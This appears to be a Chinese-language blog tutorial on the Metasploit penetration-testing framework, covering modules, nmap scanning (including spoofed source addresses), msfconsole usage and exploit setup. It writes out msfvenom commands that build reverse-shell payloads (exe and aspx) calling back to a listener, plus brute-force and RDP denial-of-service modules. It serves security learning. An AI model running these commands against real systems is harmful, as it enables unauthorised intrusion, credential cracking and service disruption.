Metasploit

Metasploit目前最流行、最强大,最具扩展性的渗透测试平台软件,基于Metasploit进行渗透测试 和漏洞分析的流程和方法

Metasploit简介

2003年由HD More发布第一版,2007年用ruby语言重写
–框架聚成了渗透测试标准(PETS)思想
–一定程度上统一渗透测试和漏洞研究的工作环境
–新的攻击代码可以比较容易的加入框架
2014年没有出过关于Metasploit的教材,最近的一本——《Metasploit渗透测试指南》
四个版本

模块

MSF架构

Rex

——基础功能库,用于完成日常基本任务,无需人工动手编码实现
——处理sokcet连接访问,协议应答(http/SSL/SMB等)
——编码转换(xor,base64等)

Core

——提供Msf的核心基本API,是框架的核心能力实现库

Base

——提供友好的API接口,便于模块调用的库

Plugin

——连接和调用外部扩展功能和系统

启动Metasploit
` 查看Metasploit数据库db的状态(初始化数据库,删除数据库)msf db主目录cd /usr/share/metasploit-framework/模块cd modules`

Exploits

——Exploits:利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动,被动)。

——Payload:成功exploit之后,真正在目标系统执行的代码或指令
1、Shellcode或者系统命令
2、三种Payload:/usr/share/metasploit-framework/modules/payloads/
3、Single:all-in-one
4、Stager:目标计算机内存有限时,先传输一个较小的payload用于建立连接

Auxiliary

——Auxiliary:执行信息收集,枚举,指纹探测、扫描等功能的辅助模块。
——Encoders:对payload进行加密,躲避AV检查的模块
——Nops:提高payload稳定性及维持大小

渗透测试步骤

1、nmap主机发现扫描
2、service postgresql start
3、msfconsole -q启动
4、search 相关模块
5、use exploit
6、set payload
7、exploit -j
8、meterpreter 使用

nmap扫描

不加参数==sT
某个ip
nmap 192.168.1.2
某段ip
nmap 192.168.1.1-100
某个子网
nmap 192.168.1.1/24
文本中的ip
nmap -iL target.txt
参数
-sn (速度很快)[ping探测扫描主机, 不进行端口扫描]
nmap -sn 192.168.1.1/24
-sA (发送tcp的ack包进行探测,可以探测主机是否存活)
-sS 半开放扫描(非3次握手的tcp扫描)
sT:3次握手方式tcp的扫描,慢
sU:udp端口的扫描
sF:也是tcp的扫描一种,发送一个FIN标志的数据包
sV:版本检测(sV)
-A参数,综合扫描。比较慢,不推荐
-e:指定网络接口,扫描时使用哪个网卡
nmap -e eth0 192.168.1.1/24
-S:可以伪装源地址进行扫描。这样好处在于不会被对方发现自己的真实IP
nmap -e eth0 192.168.1.53 -S 10.0.1.167 -Pn

msfconsole

命令

查看帮助
msfconsole -h
启动Metasploit(msfconsole模式下)
msfconsole -q
q安静的的启动,不显示banner
查看版本
msfconsole -v
启动数据库
service postgresql start
查看是否连接数据库
service postgresql status
db_status
更新metasploit
msfupdate
show命令
show exploits
show encoders
search命令
search ms17
search mysql
check(exploit模式)
验证是否存在漏洞
back
回到msf

Exploit

Active exploit

——use exploit/windows/smb/psexec
——set RHOST 192.168.1.100
——set Payoad windows/shell/reverse_tcp
——set LHOST 192.168.1.10

Passive Exploits

——use exploit/windows/browser/ani_loadimage_chunksize
——set URIPATH/
——set Payoad windows/shell/reverse_tcp
——set LHOST 192.168.1.10

Meterpreter

高级、动态、可扩展的payload
——基于meterpreter上下文利用更多漏洞发起 攻击
——后渗透测试阶段一站式操作界面
完全基于内存的DLL注入式payload(不写硬盘)
——注入合法系统进程并建立stager(传输器)
——基于stager上传和预加载dll进行扩展模块注入(客户端API)
——基于stager建立的socket链接建立加密的TLS/1.0通信隧道
——利用TLS隧道进一步加载后续扩展模块(避免网络取证)
——服务端(攻击者端)使用C语言编写
——客户端(受害者端)提供基于ruby的全特性API(支持任何语言,只是其他语言不一定是全功能)

反弹shell

生成win下的exe
msfvenom -a x86 –platform win -p windows/meterpreter/reverse_tcp LHOST=192.168.1.109 LPORT=5566 -f exe x> /home/niexinming/back.exe
生成win下的aspx
msfvenom -a x86 –platform win -p windows/meterpreter/reverse_tcp LHOST= 192.168.1.109 LPORT=7788 -f aspx x> /home/niexinming/back.aspx
本地监听,反弹后的控制端:
use exploit/multi/handler
本地监听的确定用哪个payload:
set payload windows/meterpreter/reverse_tcp
设置本地监听的端口:
set lport 7788
设置本地的监听的地址:
set lhost 0.0.0.0
运行:
run
访问生成的反弹马:
http://xxx.xxx.xx.xxx:/back.aspx

弱点扫描

VNC密码破解
use auxiliary/scanner/vnc/vnc_login
use auxiliary/scanner/vnc/vnc_none_auth

windows:远程桌面服务
use auxiliary/scanner/rdp/ms12_020_check
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids (导致拒绝服务)

设置ssh
use auxiliary/scanner/ssh/fortinet_backdoor
use auxiliary/scanner/ssh/juniper_backdoor

VMare EXI密码爆破
use auxiliary/scanner/vmware/vmauthd_login
use auxiliary/scanner/vmware/vmware_enum_vms

Web API远程开启虚拟机
use auxiliary/admin/vmware/poweron_vm

查看证书是否过期
use auxiliary/scanner/http/cert

tomcat管理页面
use auxiliary/scanner/http/tomcat_mgr_login

wordpress密码爆破
use auxiliary/scanner/http/wordpress_login_enum

WMAP web扫描器
load wmap
wmap_sites -h

openvas
load openvas

Donate
-------------本文结束感谢您的阅读-------------